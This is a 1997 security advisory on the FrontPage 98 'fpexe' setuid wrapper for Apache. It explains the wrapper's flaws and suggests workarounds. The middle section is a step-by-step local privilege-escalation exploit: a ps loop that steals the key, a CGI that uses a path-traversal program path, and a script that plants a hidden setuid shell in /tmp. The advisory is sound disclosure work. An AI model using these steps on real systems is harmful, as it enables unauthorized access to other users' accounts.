_________________________________________________________________
Microsoft FrontPage 98 Security Hell
[1]Marc Slemko <marcs@znep.com>
Last Modified: Sat Oct 11 1997
_________________________________________________________________
Introduction
The information below talks about using Microsoft's FrontPage 98
extensions with Apache on Unix with Microsoft's mod_frontpage changes.
This do not apply to running it on any other server or to running it
on Unix without the Microsoft mod_frontpage changes or to running it
on Windows NT. There are, however, other security issues on such
servers, some of which are similar to those in the FrontPage 97
extensions. I should also note that the Unix server extensions seem to
be written in part or completely by [2]Ready-to-Run Software Inc.
(RTR) for Microsoft. I will refer to it as Microsoft's product because
it is, no matter who wrote it. This discussion is specific to the
FrontPage 98 extensions. For more general information on some security
problems in earlier versions, some of which are resolved and some of
which aren't, see Scott Fritchie's [3]Why I Don't Like Microsoft's
FrontPage Web Authoring Tool web page. Parts of it are no longer
entirely relevant, but it provides a good background.
It is no secret that the security of the FrontPage 97 and earlier Unix
server extensions is quite poor, if Microsoft's instructions are
followed. Some of their instructions were quite hilarious when first
released, like the suggestion of running your web server as root. It
is possible to make them more acceptable--acceptable enough for some
sites--but it requires careful work by the administrator.
It had appeared like Microsoft had increased the security of the
extensions in the FP98 version available from [4]Microsoft's Web Site.
However, a closer examination reveals startling flaws. What they have
done is make a small setuid root wrapper that the web server calls.
This wrapper than setuid()s to the appropriate user and runs the
requested FP CGI as that user. The problem lies in the fact that the
wrapper ("fpexe") is written very poorly. while making such a wrapper
secure can be difficult, the gaping holes in this program show a
complete lack of understanding of security in the Unix environment.
The [5]fpexe program is available for you to inspect yourself. It was
originally posted in [6]RTR's FrontPage FAQ. This version is not
exactly the same as the one currently distributed (at least it is not
the same as the one in the BSD/OS 2.1 kit), but it is close. Both
appear to exhibit the same failings.
When I refer to the FP CGI programs, I am referring to the three files
normally referenced under the _vti_bin directory: shtml.exe, admin.exe
and author.exe.
The key in this discussion is the fact that nothing is stopping anyone
from trying to run this fpexe wrapper. If they can trick it into
running, they can possible gain privileges they shouldn't.
Details on problems
Before you can understand the holes in the FP server extensions, you
need to understand what I mean when I talk about the "key". When the
Frontpage-modified Apache server starts up, it generates a
pseudo-random string of 128 ASCII characters as a key. This key is
written to a file that is only readable by the user that starts
Apache; normally root. The server than passes the key to fpexe. Since
fpexe is setuid root, it can compare the key stored on disk with the
one it was passed to be sure they match; if not, it refuses to run.
This is used in an attempt to guarantee that the only thing calling
fpexe is the web server. Used properly this is a powerful part of
possible security precautions. I am not convinced that the generation
of the key is cryptographically adequate and it may be subject to
intelligent guessing attacks, however I have not looked at it to see.
As discussed later, the cryptographical robustness of the key doesn't
really matter.
There are a number of problems with the setuid root fpexe program. I
am not attempting a complete description of all the problems and their
possible consequences and fixes, just making a light sweep over the
top. The more obvious problems include:
* Return codes from library calls are not properly checked. An
example:
f = fopen( buf, "r");
fgets( key, 129, f );
fclose(f);
If fopen() failed (easy to make it do so with ulimit -n), then if
your system did not core dump on a fgets() on a closed descriptor
you would end up with an empty key. It is obviously easy to guess
an empty key. I am not aware of any systems that exhibit this
exact problem, but it is possible. Return codes need to be
checked, especially in setuid programs.
* Proper bounds checking is not done. This leads to obvious buffer
overflows. An example:
strcpy( work, FPDIR );
strcat( work, getenv("FPEXE") );
I won't go into the details of what this does, but if you could
cause this code to be executed, you could insert your own code on
most systems and likely gain access to the UID the program is
running as (root). This proves to be an unnecessary effort to go
to, because this code is only executed if you have the correct
key; if you have the correct key, there are far easier ways to
gain access. Buffer overflows are one of the most popular (albeit
normally boring) types of new holes in programs being publicized.
* It does not clean the environment variables before starting the
CGI. Again, this means you can gain access to the UID that the
program runs as (not root). If the rest of the program was
securely written, this could possibly be an issue however it is of
little consequence currently due to the gaping holes in other
areas.
* It assumes that if you have the key, then you are authorized to
have it run any program as nearly any user you tell it to. The
process you are running also needs to be in the same process group
as the web server; all CGIs run by the server, however, are in the
same process group so if you can run a CGI script you can work
around the second check. It does no further checks to be sure you
are running as a user that should be allowed to run FrontPage CGIs
(other than disallowing UID 0; the compiled version also disallows
gid 0, however the source version doesn't) or that you are running
a Frontpage related program. This means that if you get the key
file, you can gain access to any non-root UID on the server. On
99% of boxes, that will give you root. For example, if binaries
are owned by bin then become bin and replace one that is run by
root from cron. The possibilities are endless once you obtain this
level of access.
* And, finally, the worst: it passes the key to fpexe via an
environment variable! On most systems, environment variables are
available via "ps -e". This means that anyone with access to run
programs on the system (and there are often more people than you
think that are able to do this, due to things such as CGIs) can
see it as it is being passed from the web server to fpexe. Recall
that once you have the key, there is little remaining before you
can get full access to the system.
Demonstration of an exploit
By now, it should be obvious that there is a serious security problem
in the FrontPage 98 server extensions. Here is one demonstration; do
not think that this is the only way or that just because you prevent
one step of this process from working it is any more difficult to
exploit the security holes.
I. First I have to find the key. This can be done by using ps to get
the environment from fpexe. To do this, I first setup a loop
running (this assumes a real aka. Bourne shell; if you use the
bastard C-shell it obviously won't work as written):
while true; do ps axuwwe -U nobody | grep FPKEY; done
II. Then I used [7]ZeusBench, a very simple HTTP benchmark program, to
generate load on the server:
zb localhost /fp/_vti_bin/shtml.exe -c 50 -t 30
Any method of generating traffic could be used, including a web
browser. Since I am using a very inefficient method of looking for
a process, I need to generate lots of traffic to increase my
chance of finding one. It certainly isn't likely to happen on the
first request. The requests do have to be made to a FP CGI script
so it will call fpexe.
III. Before long, I had what I wanted from ps (manually wrapped):
nobody 28008 0.0 0.2 180 76 ?? DN 6:51PM 0:00.01
SCRIPT_URL=/fp/ SCRIPT_URI=http://localhost/fp/ FPUID=1000 FPGID=1000
FPEXE=/_vti_bin/shtml.exe FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E77
3FAB70794848FDEFB173FF14CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CD
F760364E59 HTTP_USER_AGENT=ZeusBench/1.0 HTTP_ACCEPT=*/*
PATH=/sbin:/usr/sbin:/bin:/usr/local/bin:/usr/bin:/usr/local/sbin/
SERVER_SOFTWARE=Apache/1.2.5-dev SERVER_NAME=localhost SERVER_PORT=80
REMOTE_HOST=localhost REMOTE_ADDR=127.0.0.1
DOCUMENT_ROOT=/usr/local/etc/httpd/htdocs SERVER_ADMIN=marcs@znep.com
SCRIPT_FILENAME=/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe
REMOTE_PORT=2849 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.0
REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/fp/_vti_bin/shtml.exe
SCRIPT_NAME=/fp/_vti_bin/shtml.exe fpexe
IV. Then I need to use the key to make fpexe think I am the web
server. I can't just run this from a normal shell, since I need to
be in the same process group as the web server. A simple CGI
suffices:
#!/bin/sh
echo Content-type: text/plain
echo
export FPUID=3;
export FPGID=3;
export FPEXE=../../../../../../../../tmp/gotcha;
export FPKEY=9AF675E332F7583776C241A4795FE387D8E5DC80E773FAB70794848FDEFB173FF1
4CDCDC44F3FAAF144A8C95A81C04BF5FC2B9EFDE3C8DCA1049CDF760364E59
/usr/local/frontpage/currentversion/apache-fp/_vti_bin/fpexe 2>&1
V. I need a program for it to run (/tmp/gotcha in this example):
#!/bin/sh
/usr/bin/id
cp /bin/sh /tmp/.mysh
chmod u+s /tmp/.mysh
VI. Then I simply make a HTTP request for the CGI script. I can then
run /tmp/.mysh at my leisure to gain access to UID 3 (bin on my
system) and do what I want from there.
Fixes
So now you want to fix it. Well. That's the hard part. The only real
solution is for someone (either Microsoft or a third party) to do some
work to improve the security. It is possible to do this securely.
Microsoft hasn't. They have no excuse. This page will be updated when
(if?) better fixes become available.
The [8]Apache web server has a [9]suEXEC wrapper designed to allow for
a similar thing; that is, execution of CGI scripts under a user's own
UID. It is very restrictive (some would say anal) about what it
allows: there is a reason for that, as Microsoft's obviously failed
attempt at security shows. It is possible that suEXEC could be adapted
to function in conjunction with FrontPage, however it will not work
without source modifications.
One short term workaround until Microsoft addresses the issue is to
simply remove the FrontPage setup from your system. This can be done
temporarily by removing the setuid bit from fpexe (ie. chmod u-s
fpexe). This will prevent all the pretty FrontPage CGIs from working.
It will prevent people from uploading new pages using FrontPage's own
methods (ie. they can tell FrontPage to use FTP and they will still be
uploaded), but generic content that doesn't rely on FrontPage's server
side CGI scripts should work fine.
Another possible workaround is to prevent users from running the ps
command. This could have a very negative impact on your system if
things depend on it, and is a poor solution however it may be the best
one for you. On systems that don't use a procfs (/proc) based ps, you
can normally simply remove world execute permissions from it to
disable it. If you are on a system like Linux that normally uses a
procfs for ps to get information, this doesn't solve the problem
because someone can read from the procfs directly.
Last of all, since this problem only occurs when using FrontPage with
the mod_frontpage extensions, it is possible to use the FrontPage
extensions on Apache without using mod_frontpage or fpexe.
Unfortunately, this conversion is not easy. It means that, after
recompiling Apache without any of the Microsoft modifications (just
commenting out mod_frontpage from the Configuration file may be
enough; haven't checked) you have to either manually copy the
FrontPage CGIs to the appropriate subdirectory under each user's web
directory and make them setuid to that user or copy them (or make
links) and don't make them setuid to that user. The former preserves
the current ownership. With the latter all the user's web files will
need to be changed back to being owned by the user the web server runs
as or else they will be unable to manipulate them and some of the FP
CGIs won't run correctly. This is a pain and brings you back to the
horrible security practice of letting anyone who can run CGIs modify
any FrontPage user's files. Although this may be the best temporary
workaround (although quite annoying if you have a large number of
users), I can not go into step by step details of how to accomplish
this change because I am not fully familiar with various ways of using
the FrontPage extensions. The [10]Microsoft FP security considerations
document (part of the [11]FP98 Server Extensions Resource Kit)
provides some more details of the method in which the CGIs are run
without fpexe.
Comments
This sort of continued disregard for security is unacceptable and
inexcusable. It does not take significant knowledge to know that some
of the things being done are flawed. If internal expertise is not
available, an external consultant should be hired for a security
review of any critical code such as fpexe. This is not rocket science
nor is it particularily advanced programming. Nothing that I have
described above is complicated or new. Code reviews are common
practice in many companies and serve good purpose.
Once Microsoft fixes their glaring holes, assuming they do, I would
suggest you should consider if you want to run their FrontPage
extensions at all. Even though, once fpexe is properly fixed, you only
risk the accounts of users using FrontPage (since that is who the
FrontPage CGI scripts run as), that can be a significant risk. It is
very possible that when someone gets bored they will find a hole in
the FrontPage CGI scripts that gives them user level access to your
system. And Microsoft doesn't (and isn't likely to in the future, if
their past is any indication) give the source to those. Microsoft's
own source speaks better for itself than anyone else ever could.
I have this nagging feeling that this will result in Microsoft coming
out with a "fixed" version and not releasing the source to it at all.
After all, it was only after the source came out that these flaws
became a problem. Right? Wrong. This was a gaping hole waiting to be
discovered. It would have almost certainly been discovered sooner or
later regardless of source availability; better sooner than later. I
certainly hope that Microsoft doesn't think the lesson in this is that
source should not be released. It is insecure with or without the
source. The FrontPage server extensions aren't going to find their way
anywhere near any machines I control any time soon because I have no
trust in the company behind them.
On a side note, Microsoft actually modifies the server name returned
to clients when the FrontPage patches are installed in Apache to
include "FrontPage/x.x.x". That is fine, however it gives anyone
connecting to your server the ability to determine the chances of them
being able to break into your system using holes in the FP server
extensions.
References
1. mailto:marcs@znep.com
2. http://www.rtr.com/
3. http://www.mr.net/~fritchie/frontpage.html
4. http://www.microsoft.com/frontpage/wpp/
5. http://www.worldgate.com/~marcs/fp/fpexe.c
6. http://www.rtr.com/fpsupport/faq98a.htm#security
7. http://www.worldgate.com/~marcs/fp/zb.c
8. http://www.apache.org/
9. http://www.apache.org/docs/suexec
10. http://www.microsoft.com/frontpage/wpp/SERK/security.htm
11. http://www.microsoft.com/frontpage/wpp/SERK/